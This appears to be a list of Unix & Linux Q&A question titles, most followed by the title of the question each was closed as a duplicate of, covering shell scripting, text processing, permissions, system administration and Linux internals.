awk how to separate in different files all the lines with the same content in a given column


Why these two sed patterns don't give the same output?

sed regular expression behaving differently than in vim and perl?


How can I achieve portability with sed -i (in-place editing)?


xargs: The command line for command is built up until it reaches a system-defined limit - What limit?

What defines the maximum size for a command single argument?


How to remove linux mint useless login screen?


Why do I need to enter my password for apt update?

Why do I need root-privileges to update my package manager's package list?


How can I replace a string in a file(s)?


How to `grep -v` and also exclude 'n' lines after the match?

How to grep-inverse-match and exclude "before" and "after" lines


Is coproc <command> the same as <command> &?

How do you use the command coproc in various shells?


Finding and moving images without extensions between two directories

How to list only JPEG files from root below using the command line?


How to concatenate several text files with a blank line in-between each?

Concatenate multiple files with two blank lines as delimiter?


How to use an escaped file-name string saved within a bash variable in a new shell command?

Why I can't escape spaces on a bash script?


content from pwd and which failed with sed to be replaced

How can I use variables in the LHS and RHS of a sed substitution?


How do I use different replacement texts for a pattern found multiple times

Replace pattern each time with a different string (taken from external file)


How to enable diffie-hellman-group1-sha1 key exchange on Debian 8.0?


How to use wc and piping to find how many files and directories are in a certain directory?


config ip adrress of a network interface through ubuntu terminal


Check for particular files inside a directory

Brackets in if condition: why am I getting syntax errors without whitespace?


Join multiple pipe delimited files with unequal rows/lines into one based on first column


Using octal method,how do I type the exact command I would use to make test.txt have the following permissions dr-xr-x---

Understanding UNIX permissions and file types


Delete n lines after pattern and m lines before pattern

How to grep-inverse-match and exclude "before" and "after" lines


Inserting file into other file after pattern

Inserting a file into another file after the 1st occurrence of a pattern


Extract `m`th (first) column value for line with specific `n`th (second) column value from file


Need of terminal emulator in unix systems

What is the exact difference between a 'terminal', a 'shell', a 'tty' and a 'console'?


How to redirect stderr in a variable but keep stdout in the console

Redirect STDERR and STDOUT to different variables without temporary files


Add file to PATH only when in specific directory

Execute bash scripts on entering a directory


Is there a reason to use dd if I don't use any extra parameters?

dd vs cat -- is dd still relevant these days?


How do I skip specific tests when building an rpm?


At /dev/block directory, what's meaning of file name like 8:0 or 11:0?


How to install debian jessie-backports package after package removal using Docker?

Failed to fetch jessie backports repository


Backup using dd reformatted disk from ntfs to ext4. Can I recover any of the files?

Partially overwrote /dev/sda, can I recover anything?


If condition on shell not working , not sure what is the mistake I am doing?

if...else...if statement (command not found error)


php curl not getting installed on Debian 8


Sending the output from 'dd' to awk/sed/grep


Is there a simple way of determining which executable is being invoked by a given command when which is not available?

Is there an alternative to the `which` command?


Can we create Arch Linux packages from Debian packages securely?

Installing a .deb package on Arch - Is it possible?


Why mount doesn't show full list of mounted files as appears in /etc/mtab and /proc/mounts

How to get the complete and exact list of mounted filesystems in Linux?


cp runs from command line but file not found from script

Can I use variables inside {} expansion without `eval`?


zip all files and subfolder in directory without parent directory


How can i track down how is these files created

How to determine which process is creating a file?


Can't read directory from owner with 700 permissions

Why does the group need --x permission on the parent directory?


Detecting pattern at the end of a line with grep


Prevent file from being modified or deleted even by chattr


How to run next bash line even when set -e is switched

Preventing shell from exiting when set -e is turned on?


Separate the element after every 2nd ',' and push into next row in bash

How to process a multi column text file to get another multi column text file?


Is it possible to recover a deleted file from crontab -r?

Recover cron jobs accidently removed with crontab -r


Is there a filesystem that keep track of all filesystem modification without snapshot?


Why the behavior of while loop and for loop is different?


What '\t' mean with 'tab' delimiter with 'cut' in BASH

When to use bash ANSI C style escape, e.g. $'\n'


Free space showing problem in `parted` command?


Can I use rsync to mirror two directories using the later of two conflicting files?


What does ${!#} mean in Shell scripting?

How does ${!#} work in bash to get the last command-line argument?


Making a Simple Deb Package NixOS Compatible (Mathematica's wolframscript)

Different methods to run a non-nixos executable on Nixos


How do I exclude any results with permission denied when using the find command?

How to skip "permission denied" errors when running find in Linux?


CentOS cp shell glob operation with asterisk (*) fails


How can I change the standard directory of my bash terminal to root?

How do I start all shell sessions in a directory other than $HOME?


Two lines are removed with sed instead of one, why?

shell: keep trailing newlines ('\n') in command substitution


How do I make an output file for the "time" command?

Redirect the output of a command in `time command`


Why is b=`git branch` different from just git branch

Why does my shell script choke on whitespace or other special characters?


How can I run a shell command without being added in history?

Is there any way to keep a command from being added to your history?


SSH session gave a false negative when adding user to wheel

I added a user to a group, but group permissions on files still have no effect


Why inode numbers of /dev and /run are same as that of /?

Why do the directories /home, /usr, /var, etc. all have the same inode number (2)?


Why cannot find read /run/user/1000/gvfs even though it is running as root?


So I have a wordlist that I'm creating suited for a particular domain and I'm trying to get rid of the forward slashes

delete specific character "[" from a file


How to remove duplicate lines inside a text file?


File access time not being updated. Is caching the reason?

File access time not updating in ubuntu 12.04


Can I easily make a host "mirror" that caches downloaded Debian packages?


Is it safe to dist-upgrade directly to "Buster" from "Jessie" (skip "Stretch")

Upgrade Debian Jessie (8) to Buster (10) possible or need to go sequential in versions upgrades?


Why the kernel doesn't stop processes starving the resources?


Redirection: what does this redirection chain do--logic and purpose?

What does "3>&1 1>&2 2>&3" do in a script?


How to do integer & float calculations, in bash or other languages/frameworks?


Can someone explain the command: file -- *


sort command ignore leading blanks and enable dictionary order by default


Piping with ">>" into /etc/locale.gen - permission denied with sudo

Why can't sudo redirect stdout to /etc/file, but sudo 'nano' or 'cp' can?


Why lsb_release -c command , returns n/a?

How to get Debian codename without lsb-release


How to limit user to only cat & exit commands?

How can I restrict the normal user to run only limited set of commands in RHEL?


Build path name with variable as input to touch

Why doesn't the tilde (~) expand inside double quotes?


Why are trailing line breaks stripped when used as an argument (for echo)?

Why does shell Command Substitution gobble up a trailing newline char?


When coding for Unix/Linux is it convention to use a trailing slash on path names, or to omit it?

How does Linux handle multiple consecutive path separators (/home////username///file)?


Searching whole system for files with specific inode

Quickly find which file(s) belongs to a specific inode number


Can't connect to network when creating two network namespaces for two NICs

Policy routing with 2 NICs on the same network seems to not do anything


Is it possible to write "time" to bash history?

bash history that stores execution time?


Why can I change permissions for a file with 000 permissions?

Why does chmod succeed on a file when the user does not have write permission on parent directory?


Interpret variables from read in string with shell script

Variable not expanding inside another variable bash


How to disable X server autostart in Debian Jessie?


Difference between `MYVAR=1 /bin/whatever` and `env MYVAR=1 /bin/whatever`?


How can we run a command stored in a variable?


How does gnome reboot without root privileges?


How to non-interactively configure the Linux kernel build? (Marked incorrectly as duplicated)

How to script make menuconfig to automate Linux kernel build configuration?


Cannot enable shopt extglob from bash command string argument? (temporarily set shopt extglob)

What are the scope restrictions for setting shopt extglob. and other options?


How to check java version on multiple servers?

Linux equivalent to PowerShell's "one-to-many" remoting


"buff/cache" is very high, how I can free it?

What do the "buff/cache" and "avail mem" fields in top mean?


Why (and how) did using cat on binary files mess up the terminal?


Use du to list size of top 20 largest folders/files in current directory recursively in bytes and human readable format


cp command saying directory does not exist when it does


group and sort | last login time of users


How to convert absolute path to relative path?

Getting relative links between two paths


How to execute something in current shell

Different ways to execute a shell script


Shell: Mounting to CWD does not update in shell session

How does Unix keep track of a user's working directory when navigating the file system?


passing and setting variables in a heredoc


How to extend lv without loss of data on other lvs within partition

How do I extend a partition with a LVM and the contained physical volume and logical volume?


Is there a way to save all bash commands from all terminals to a single file?

Preserve bash history in multiple terminal windows


Use PROMPT_COMMAND to echo to custom bash history file

PS1='$(pwd)' why this works and why is this different from PS1=$(pwd)


How can i ignore a space in file name using if condition

Why does my shell script choke on whitespace or other special characters?


How can I wrap text at a certain column size?


How to exit OpenSSH control master process without using lsof or fuser?

How to close (kill) ssh ControlMaster connections manually


centos: update tzdata for new DST rules in Brazil.

How to fix the Brazilian daylight saving time (Summer Time) of 2018 in Olson database files?


print lines before one pattern until a new pattern is found

Print lines between (and including) two patterns


Using rsync to preserve permissions only

How to clone/copy all file/directory attributes onto different file/directory?


Using sed to replace periods with single spaces to periods with double spaces

search and replace 1 or more spaces after a period of a files to 2 spaces


Get Unix to Tell Me The "x similar ones"

Terminal autocomplete: cycle through suggestions


How to compare the 1st column of two files and if the strings match then print "true"


How to move a line to the previous line if a certain character " : " is not found?

concatenate lines based on first char of next line


Completing the count of characters in every line with dots

Padding trailing whitespaces in a string with another character


xargs plus shell string manipulation vs sed

recursive statistics on file types in directory?


How can I make named pipes atomic or is there an alternative?

Performing atomic write operations in a file in bash


How to insert multiple blank lines after every line


Systemd user timer only runs when logged in

Why doesn't my systemd user unit start at boot?


Problem using xargs --max-args --replace with default delimiter


Extract substring after delimiter using GNU awk or awk


how can i move lines in mulitple text files?

Move first N lines of output to end without using temporary file


checking if iptables are set on a system in script


How to make tail to automatically reconnect to a log file that was deleted and recreated together with its parent directory

tail -f, but when the file is deleted and re-created (not appended)


How can I find all lines containing two specified words?

How to run grep with multiple AND patterns?


Extract text between two characters (multiline input)

Multiline pattern match using sed, awk or grep


How to change permissions of multiple files found with find command?


How do I use shell commands with a directory that contains '-' like '-78059735'?

How do I delete a file whose name begins with "-" (hyphen a.k.a. dash or minus)?


Is there something similar or like "pass" in python in bash/shell programming?


Udev rule for disabling usb serial driver

Blacklisting / Removing driver for a particular VID/PID


How to delete all files in a current directory starting with a dot?


How to suppress a message from a program while installing it to use in a bash program?


Pass length of argument into bash command substitution

How can I use $variable in a shell brace expansion of a sequence?


How do remove / inspect what uses so many disk space on my root partition?

How to understand what's taking up disk space?


How to avoid copying “..” while using cp command in terminal?

how to glob every hidden file except current and parent directory


Why are most Linux distributions not POSIX-compliant?

Is there a Linux distro that's UNIX certified?


Is `echo $TEST` expanding an asterisk in the variable a bug?

Why does my shell script choke on whitespace or other special characters?


How to check for presence of named pipe on the file system


What is the appropriate location for custom systemd service files?

What's the difference between /usr/lib/systemd/system and /etc/systemd/system?


What is the difference between using bash and sh to run a script?


I want to take output of first command as a input of second command in shell

Execute a command once per line of piped input?


Keep processes running after SSH session disconnects


How does my application in Linux know how to find libraries in the common places

Where do executables look for shared objects at runtime?


Is there an equivalent of GNU Screen's "log" command in tmux?


How do I clear Bash's cache of paths to executables?


How to mount ExtHDD under Debian OS - NOT an SD card?

Linux - couldn't mount RDWR because of unsupported optional features (400)


Can I process command output just before sending it to a file (one liner)?

Removing control chars (including console codes / colours) from script output


How do I run 32-bit programs on a 64-bit Debian/Ubuntu?


remove pattern from string using sed and a variable

How can I use variables in the LHS and RHS of a sed substitution?


what's the difference between bash my_script and source my_script

What is the difference between sourcing ('.' or 'source') and executing a file in bash?


I have if else question but I am not sure the answer is true?

How do I get the list of exit codes (and/or return codes) and meaning for a command/utility?


Show only hidden files (dot files) in ls alias


Capture terminal text into file as it happens


Strange counting problem of variable in bash script


Can anyone help me figure out what this "find" command with curly braces is saying?

GNU find and masking the {} for some shells - which?


Where is the @ sign in front of my raspbian-bash-prompt coming from?

Spurious @ symbol at start of bash prompt in Debian Jessie


How can I kill minerd malware on an AWS EC2 instance? (compromised server)


Bash script doesn't executed properly inside docker container

Which shell interpreter runs a script with no shebang?


What does 'exec {fd}</dev/watchdog' do in Bash


Bash whois script calling local information with *?


Checking linux Kernel for RT-Preempt Patch


How do you make samba follow symlink outside the shared path


How to use parameter expansion with find -exec {}?

Recursively rename all the files without changing their extensions?


How to install Ubuntu Software Center on Parrot OS?

Software center not working on kali linux?


read from stdin works differently in bash and zsh

In bash, read after a pipe is not setting values


How do I pass a file as an argument in bash scripting?


What differences between `type cd` and `which cd` commands in linux?

What is the point of the `cd` external command?


How to display the Linux kernel command line parameters given for the current boot?


How to list directories with particular depth?


Extract value from XML file using shell script

Parse XML to get node value in bash script?


Changing a user's password within a script doesn't work

Why can't cron job find basic Linux commands?


copy values/rows from a file which are within special characters

text processing rows to columns for a block


How can I revert zip files which are zipped using "gzip -r"

How to gunzip files recursively (or how to UNDO 'gzip -r')


Why are there so many different ways to measure disk usage?


Removing digits from beginning of filename


Why does ( exit 1 ) not exit the script?


Can a user reside in one group, but write from another?

Giving group permissions to other user's files


Touch and open file in same command alias


Removing root slash with `-p1` and so forth

When patching what's the difference between arguments -p0 and -p1?


How to execute a command in another already opened terminal?

Execute command in remote active terminal


Get last element of $@ / argv / arguments array without eval

How to get the last argument to a /bin/sh function


Whose PATH value is the default PATH value in a crontab file?


How to grep/sed/awk regex and color in man pages?

How can I search for bolded or underlined text?


How to find the shortest word on a text file


Remove all files/directories except for one file


command `atq` demonstrate couple of tasks days ago


How can I either encrypt or render my shell script unreadable?


Remove jobs from at queue on a specified date


Hex dump only the beginning and the end of a file with xxd

How to read first and last line from cat output?


What is the easiest way to grep the command output?

Why grep is returning non matching lines when I don't redirect stderr to stdout?


Looking for missing files in a directory of files via wildcard inputs

How to print the name of missing files in a folder?


what is the meaning of %< in printf statement?

Using `printf` to print variable containing `%` percent sign results in "bash: printf: `p': invalid format character"


Bash: Escaping double quotes in $() command substitution

Quoting within $(command substitution) in Bash


Is it possible to list everything a specific process is trying to do?


Centos mysterious disk space use df vs du

Why are there so many different ways to measure disk usage?


Comparing exit code: unary operator expected

How does one extract a command's exit status into a variable?


Concatenate strings in bash while adding double quotes

How can we run a command stored in a variable?


Why does ls sort results the way it does?


Force ssh to not print "Remote host identification has changed" warning


How to count the number of bytes in a file, grouping the same bytes?

How to gather byte occurrence statistics in binary file?


How to use space seperated string as variable value in bash


Save output of multiple commands to the same file

Redirect output from all commands to file, not just last


redirect to the same file as the source file processed by the command


Cannot override systemd timer with specific time

Is there a way to know when a systemd timer will run next?


How do I display file modification time (linux) as "Nov 8 12:00" format?

Get file modification time in a specific format (yyyymmddhh24miss)


Is there some tool for finding files in one directory but not in the other?

Compare files that are in directory 1 but not directory 2?


How to know if a script is already running


Why can I not run KDE redshift in a cronjob?


Pipe all input and output of terminal to file


Is it possible to search for a file using the checksum instead of the name?


how to check if the first line of file contain a specific string?

How to print file content only if the first line matches a certain pattern?


Why does my shell script choke on whitespace or other special characters?


complicated command replace in files using sed


"No such file or directory" when running node script

"Can't cd to /home/user" when sourcing a script


Why do I need to restart OS after some package upgrade?


Overhead of using loop-mounted images under Linux


How can we run a command stored in a variable?


How to properly write and execute a shell script and exit correctly?


How to check OS and version using a Linux command


Changing current directory with a bash script?

Script to change current directory (cd, pwd)


sed: replace part of text in previous line if match is found


How do I connect to an SSH server with no ciphers in common?

ssh Unable to negotiate: "no matching cipher found", is rejecting cbc


How can I expand a quoted variable to nothing if it's empty?


How does `cat` work so that it allows reading a file line as an array element?


Why would there be a binary incompatibility between packages for different Linux distributions?

Will my linux binary work on all distros?


EDITOR: subsidiary program 'emacs -nw' not found


What is this random name in my command-line prompt?


How Linux determines which bashrc file to load when there're multiple of them?

What is the difference between ~/.profile, ~/.bashrc, ~/.bash_profile, ~/.gnomerc, /etc/bash_bashrc, /etc/screenrc ...?


Trying to get getopts to call a function


Listing files with given characters in their name


Is it possible to have (at least some of) root directory contents moved to subdirectory?


How can i give a video out as web camera device?


Why it is possible for normal users to power off computer?

halt, poweroff, shutdown, reboot don't require root?


How to check if a **program** version is equal to or smaller than x

How to compare a program's version in a shell script?


What's the difference between memory shown with the free command and the top command?


How to grep on files less than a size and limit to extension

Using grep after using find to get the files


Why has ls never had a parsable option implemented?

Is there a reason why ls does not have a --zero or -0 option


how to pass variables between 2 bash scripts (export doesn't work)

How can I make environment variables "exported" in a shell script stick around?


If you ^Z from a process, it gets "stopped". How do you switch back in?


want to make the command LS to search only the file

listing files with pattern with starting and ending


Issue in calculating elapsed time in millisecond date command not found

How can I assign the output of a command to a shell variable?


what does sudo apt install (linux) install from?


ssh + what is the default count of parallel ssh session to rhel machine that machine can allow in the same time

Number of SSH connection(s) on a single linux machine


How to get output one page at a time in Fish shell?


How to get zsh to not recognize the asterisk in apt-get


Unable to install git - GPG signature problems

Invalid signature for Kali Linux repositories : "The following signatures were invalid: EXPKEYSIG ED444FF07D8D0BF6 Kali Linux Repository"


Is there a way to add a directory to my PATH in zsh only if it's not already present?


Parse yaml file without using outside tool


root user not loading vars in /etc/profile.d/prompt.sh


How to run Length and time consuming process in back ground?

Keep processes running after SSH session disconnects


Symlinks point to the same executable target, but do different things

Why are reboot, shutdown and poweroff symlinks to systemctl?


Bash interpreting special character within single quotes


Understanding UNIX permissions and file types


Loop through files from current directory and subdirectories

Why is looping over find's output bad practice?


Setting and using variables with "bash -c"

How to declare a variable inside bash -c


How to read/view the content of bash function?

View shell function's current definition


Rename all the files within a folder with prefix “Unix_”


passing shell variable to awk and get awk output in shell variable

Use shell variable inside a pattern in awk


The IF statement parameter dimensional x in BASH script

Testing if a variable is empty in a shell script


Multiple commands and subshell execution after pipeline


How to override some VIM system settings?


Create TAR files with limited size in Unix script

TAR 6 GB worth of files into separate 1.9 GB TAR files


How to solve All threads core not showing

How to know number of cores of a system in Linux?


How to send find -exec to output file with {}

Correct location for piping and redirecting output in find -exec?


how to count number of null bytes in stream?


Script device A: copy directory from remote device B to remote device C with PKA


What does the vm.swappiness parameter really control?


How to prompt a user for variables without read?


How can I copy multiple files inside a bash script


Why does quoting not protect filenames that start with "-" against mis-interpretation?

Why can I not access a file named `-` when quoting?


How to pretend as if a package is installed apt dpkg

How to make apt ignore unfulfilled dependencies of installed package?


Shell parameter expansion on command line does not work in bash script

Parenthesis works in bash shell itself, but not in bash script


Grep output until a matching word before/after


True contents of a directory in a *nix system

How does linux store the mapping folder -> file_name -> inode?


Grub rescue : how to fix insmod normal, unknown file system


for below Variable output need a regex or linux and windows command to display only specific text which is after 'host' and before 'is'

Help me to get command or ansibile Regex to fetch below details


What happens when we use ampersand `&` at the end of the pipeline?

Why double ampersand chained conditions runs in background together the last one?


why reading from `/dev/random` put `1;2c` character behind the cursor?

After using `cat` on a binary file, why are letters and numbers left over?


Using exec and tee to redirect logs to stdout and a log file in the same time


grep on windows-created txt file doesn't match strings on mac - why?

Why is it not possible to search through text file contents encoded in UTF-16?


How do I evaluate a variable with a string in the POSIX shell?


Printing out variables inside a file with echo

Replace environment variables in a file with their actual values?


How do I use capsh: I am trying to run an unprivileged ping, with minimal capabilities


command | grep | awk save into a variable or execute it as function

Why is my Bash script returning a syntax error?


How to disable screen going blank/off in X11?


What are `:` at the beginning of lines used for in a Bash script?

What purpose does the colon builtin ':' serve?


Variable substitution with an exclamation mark in bash


Is there a way to expand a variable into multiple arguments without globbing in bash?

How can we run a command stored in a variable?


How can I execute `date` inside of a cron tab job?


Is there a command to display mount points of contents of directories?

How to get mount point of filesystem containing given file


Use first argument as second argument with modifications

How can I rename a file in a nested path "in place," i.e. without re-typing the full path?


Need to add <!-- before a tag in an xml file using shell

Replace Tag of and xml file after pattern matching using shell


Adding <!-- in a tag of an xml file using shell


Bypass tmux key bindings temporarily and send a key literally

How to send key bind occupied/interpreted by tmux to program running in tmux?


Restrict an APT repo to a single architecture?

apt looking for i386 files, even though architecture is amd64


`head -n -1 file > file` erases the contents of the file instead of updating the file


What does greater than and ampersand mean in a bash statement?

What are the shell's control and redirection operators?


Output of "ls > a.txt | wc" and "ls | wc" in the zsh shell

zsh I/O redirection: redirecting and then piping; what is going on?


GNU find and masking the {} for some shells - which?


Bad columns formatting by the tr command


why does sh -c over ssh discards the first command


What's the difference between `chmod a+x` and `chmod +x`?

Why does chmod +w not give write permission to other(o)


Is IFS used for anything else than read shell-builtin?


Conditional `if` with command that doesn't respond in else

How do I get the nc command to end after 2 seconds?


How to transfer files between two servers with a server in the middle?

Syntax to transfer from remote to local scp by leapfrogging onto another host?


How to expand variables inside read without envsubst, arguments or heredocuments (and without any non shell-builtins)?


How to move all the files with specific prefix of the directory?


Understanding the "process substitution" concept


Using while loop to ssh to multiple servers


Delete till first occurrence of pipe "|" using sed

Search for a string and delete till occurrence of next character


Why do I need to do resize2fs after lvextend?


Delete a folder that does not match a pattern

In linux, how to delete all files EXCEPT the pattern *.txt?


How do I determine which filesystem is in use on my "Microsoft basic data" partition?

How do I find out what filesystem FUSE is using?


Cannot connect to internet after using airmon-ng check kill


bash - get 1st argument of current command I am editing via history, or similar?

How to repeat currently typed in parameter on bash console?


Problem to launch java at Debian: "error while loading shared libraries: libjli.so"


What are really the prefix rules for options: - and -- ? Why is the find command not compatible with the --name option?

The discrimination between short and long option is only `-`?


How to display only shell variables (not functions)

How to print only defined variables (shell and/or environment variables) in bash


How to break sed commands to nested parts when no regex and variable expansions are applied?

How to split long sed expression into multiple lines?


What's difference between su username and sudo login username command?


It's possibile to delete some file with a range af number in a name?

Can I use a variable in a Bash brace expansion?


Strange problem with different versions of bash (or sudo)?

How do Ubuntu and Debian manage $HOME for users with sudo privileges?


How to display running application name in terminal title?


How do I run a shell script which runs another script with cron?

Why scripts run as user but not as a cron?


An user is not permitted to write in directories it owns, on a external mounted ext4 partition. What could be the problem there?

Do the parent directory's permissions matter when accessing a subdirectory?


Does logger(1) command belong to util-linux?

How can I find the package that contains a program in Debian?


kernel add swap partition without it be list in /etc/fstab

How does Linux know where its swap partition is?


Make any program "think" its output is a terminal (ie stop it from "knowing" its output is a pipe/file/substitution/etc) to keep ansi-color-codes etc

How to trick a command into thinking its output is going to a terminal


Why is my system clock absurdly wrong after reboot?


cd does not take variable as argument in bash script

Script to change current directory (cd, pwd)


How to have custom named xterm title that stays open

How to hold terminal open (excepting gnome-terminal)?


Find pattern on multiple lines within BIG log files

Find files with matched whole lines from a file


Print number of files excluding directories


I need to concatenate 2 variables to print the value

how to pass a value to a variable that in a other variable


How to make a pipeline wait for end-of-file or stop after an error?


What is the the purpose of having both $PATH and $path?

What is the difference between $path and $PATH (lowercase versus uppercase) with zsh?


Would it be useful to convert NTFS to EXT4 with this system setup?

Choosing File Format of /home between NTFS and Ext4, Understanding Trade Offs in Performance vs Data sharing with WinXP in Dual boot


How do I get information for all the versions of a particular package in Ubuntu?

Is there a tool/website to compare package status in different Linux distributions?


Exclamation mark in the bash script vs in the terminal


Bash tail -f with while-read and pipe hangs


Replace a long string with the sed command: Argument list too long error


How can I use $variable in a shell brace expansion of a sequence?


What are the shell's control and redirection operators?


Why does my shell script choke on whitespace or other special characters?


why my if else then statement gives an error


Execute second command only if first expression has value

Testing if a variable is empty in a shell script


Pass the output of previous command to next as an argument


Lock a Linux server local session - Linux from Scratch


Delete files older than x days in subfolder with name


Strange behaviour in CENTOS 7 where binary is not available as root, but is available to user data process


Why do I get an error when using cd as env's utility argument?


Please let me know whats wrong with my command in linux

Using find to find a file with a certain name and contents


Delete files with filename date older than 7 days

Deleting files older than 30 days based on filename as date


How is it possible to have linux config files and normal files as mountpoints


Move files with special characters in the name


'$' predefined shell variable (called as "$$"). What does it hold?


To get in variable, a directory've been pushd


Inline bash program has incorrect mv usage

Why does my shell script choke on whitespace or other special characters?


How do I make two echos output to a text file on separate lines

how to output text to both screen and file inside a shell script?


When enabling a systemd-service why it isn't started?

One systemctl command to both start and enable


Using sed command to print the first column of /etc/group file

Extracting usernames from the /etc/passwd file


Where I can find the manpage of IF condition of bash?


What does `I` (uppercase i) mean in `ps aux`?


How to set right input to "while read line"?

Why is my variable local in one 'while read' loop, but not in another seemingly similar loop?


Redirecting the content of a file to the command "echo"


Is it possible to execute instructions not in .text section

How do I run shellcode on Linux kernel 5.8+?


ls -s vs -l file size difference and significance

Why are there so many different ways to measure disk usage?


zsh PATH variable not properly set from another environment variable


What's the difference between OS version reported by uname vs. /etc/debian_version

Different Debian versions from two different commands


Why after I run a command the symbol "%" is added to the output?

Why ZSH ends a line with a highlighted percent symbol?


Mint :give root password for maintenance

Manually generate password for /etc/shadow


syntax error near unexpected token `$'in\r'' AWS linux server

Why am I getting "line 1: $' :\r': command not found"?


Command `/bin/sh -c ls -lh` doesn't show the output as a list

Why doesn't echo called as /bin/sh -c echo foo output anything?


Sed command won't run if inside a string

How can we run a command stored in a variable?


How does the /proc/<pid>/exe symlink differ from ordinary symlinks?


Is there any way of checking the max memory consumption of a code that I run with the command line?

How to measure on Linux the peak memory of an application after has ended


Starting with bash: -lt and -gt arguments


how to create a random output from users input


Printing every Nth line out of a large file into a new file


Permission denied error when writing to file

Redirecting stdout to a file you don't have write permission on


Bash alias with a space as a part of the command


How can I use $variable in a shell brace expansion of a sequence?


What is the difference between sourcing ('.' or 'source') and executing a file in bash?


Strange terminal behaviour when modifing PS1

Why is my bash prompt getting bugged when I browse the history?


How to put an $ variable inside the printing of a command variable?

Passing variable to jq to edit a json file


Why can my statically compiled ARM binary of BusyBox run on my x86_64 PC?


what is '-' in man throttle command example

What does dash "-" at the end of a command mean?


How to copy into graphical clipboard on command line in KDE?


Printing contents of an associative array to a file in bash

What are the shell's control and redirection operators?


Can't make python3 as default python instead of python2

Change the Python3 default version in Ubuntu


How to programatically exit from an editor in Linux

Add something to crontab programmatically (over ssh)


ASCII to Binary and Binary to ASCII conversion tools?


How to check whether a particular directory is mounted?


How to automate a webbrowser that supports javascript?


Delete lines in a txt file by taking patterns from another file

How to remove lines included in one file from another file?


Supervisor: no such file or directory even though it is there


How to Disable Transparent Huge Pages in CentOS6.6


Why is my nic ethN suddenly called p18pN?

Why is my ethernet interface called enp0s10 instead of eth0?


How do I get the current time in a different time zone without changing system time?

How can I have `date` output the time from a different timezone?


Print everything between two patterns, then delete first and last line of the resulting output

Print lines between (and excluding) two patterns


How To Logout and Apply New Group Settings

How to apply changes of newly added user groups without needing to reboot?


Precedence of user and group owner in file permissions


facl ignoring the "x" permission but only on files


When is dd suitable for copying data? (or, when are read() and write() partial)


How do I find the actual binary/script using 'which' in zsh?


When to use #!/bin/ksh and #!/bin/sh? Need example

What are the fundamental differences between the mainstream *NIX shells?


LS_COLORS settings for specific types of files


Obtaining unique lines with matching strings

Remove entire row in a file if first column is repeated


Can I find the filesystem a file is going to be installed to?

How to determine what filesystem a directory exists on?


How to redirect unzip -v output to a log file in shell script

What are the shell's control and redirection operators?


Why does sed replace all occurrences instead of only the first occurrence?

Want to substitute only first occurence with sed


How to open compressed file in less mode

How can I view gzipped files in less without having to type zless?


How to set a single modifier key as a shortcut in openbox?


How to detect, find and install a missing firmware


Shell Script - syntax error near unexpected token `else'


Sort -u without sorting but with better uniqueness?

How to get only the unique results without having to sort data?


Starting Debian mono application (that has a GUI) AFTER boot is done


Letting a device access the Internet through an Ethernet port via a laptop

How do I share internet with Windows from my Linux box?


Using diff to show both contents of new files and that new empty files are created

How to make diff print a full file diff when a file does not exist?


How does Linux format itself while running?

How is 'rm -rf /' able to delete all files in the system?


How to generate a CSR for attaching SSL certificate to the site?

Generate a certificate signing request for an SSL server


Delete lines that contain X in specific column .csv

How can I extract/change lines in a text file whose data are separated into fields?


": not found" and syntax error in my first ever shell script

Bash/Korn shell script edited on Windows throws error '...^M: not found'


How do I delete a file whose name begins with "-" (hyphen a.k.a. dash or minus)?


How to inspect systemd journal files directly?


how to make special program run with different version of java from system?

Use certain version of JRE / JDK for certain programs


Does the shebang determine the shell which runs the script?


How to find file without knowing the name of it


Is there any Linux command to create a new file in a folder and auto create this folder if not exist?


How to recover the deleted file from linux system?

Unix/Linux undelete/recover deleted files


What defines the maximum size for a command single argument?


Why does this one-liner fail to produce output?


check if string represents valid path in BASH

Shell script works when saved with nano but not when saved with Notepad++


Adobe Flash plugin update needed on Linux Fedora 20?

Flash plugin up to date but Firefox keeps telling me that I have the old version


How to remove duplicate lines inside a text file?


why grep does not print the entire line?

Output from ls has newlines but displays on a single line. Why?


print characters repetitively using asterisk symbol in bash

Writing a character N times using the printf command


for loop in bash lists dot and double dot folders

How can I make bash not match `.` and `..` with `.*`


How do I run a command only after previous command is unsuccessful in bash?

What are the shell's control and redirection operators?


Debian's corresponding command for add-apt-repository?

How to add repository from shell in Debian?


How to determine where an environment variable came from?


openSUSE - Remove all packages from a repository

Using zypper, how can I remove all packages installed from a specific repository?


What is the difference between the /boot partition files and the /boot directory in root?


Something wrong with spaces in zenity trying in a script

Quoting / escaping / expansion issue in "command in a variable"


How to capture the output of the strings command?

How do I redirect command output to a file?


how to get 32 bit kernel headers in 64 bit debian installation

How do I run 32-bit programs on a 64-bit Debian/Ubuntu?


Understanding UNIX permissions and file types


Is there any reason to prefer [[ over [ in bash?

Is test or [ or [[ more portable both between bash shells and between other shells?


String comparison in single brackets in zsh

Shell test to find a pattern in a string


special symbols, . * # inside curly brackets


Custom bash prompt - cursor positioning issue

Why is my bash prompt getting bugged when I browse the history?


How to delete a file that starts with a -?

How do I delete a file whose name begins with "-" (hyphen a.k.a. dash or minus)?


What are the shell's control and redirection operators?


Why doesn't this simple piping with awk work?


Why do some processes end with the letter "d"?

Why do some Linux files have a 'd' suffix?


determine shell in script during runtime


Difference between 2>&-, 2>/dev/null, |&, &>/dev/null and >/dev/null 2>&1


how to find which linux kernel commit made its way to exactly which kernel version

Given a git commit hash, how to find out which kernel release contains it?


Booting off raid'ed > 2GB drives, btrfs, handling bios boot partition


Extract single file from tar to other folder


Find files whose name is 4 characters long

How can I search for a file with fixed name length using ls?


How to check option is set to bash script?

Pass command line arguments to bash script


What happens step by step when using "rm -rf directory"?

How does rm -r go about recursively removing? In what order?


Difference between cp -r and cp -R (copy command)


Running a bash script on double click does not have all environment variables

Is there a ".bashrc" equivalent file read by all shells?


What is the purpose of -e in sed command?


Pipe output of one command to two others

How can I send stdout to multiple commands?


Resolve nested aliases to their source commands


What is the best way to delete files & folders in a directory excluding the contents of one folder?

Remove all files/directories except for one file


How to change bash prompt string in current bash session?

I changed my hostname, why is my bash PS1 prompt unchanged?


How to create script which will enter password automatically?


Pager that would work with header-lines?

How to scroll large datafile while keeping header


Brackets in if condition: why am I getting syntax errors without whitespace?


How and when is keyboard data encoded from keyboard to application?

How do keyboard input and text output work?


How can I prevent 'grep' from showing up in ps results?


How do I rename many files from whatever to sequential filenames?

Renaming files in lexicographical order with a numerical pattern that increases sequentially with fixed padding


Why don't most common Linux package managers allow package installation for normal users?


Why use install rather than cp and mkdir?


What is the difference if I start bash with "/bin/bash" or "/usr/bin/env bash"?

Why is it better to use "#!/usr/bin/env NAME" instead of "#!/path/to/NAME" as my shebang?


bash: can't set a variable to a solid string

Why does my shell script choke on whitespace or other special characters?


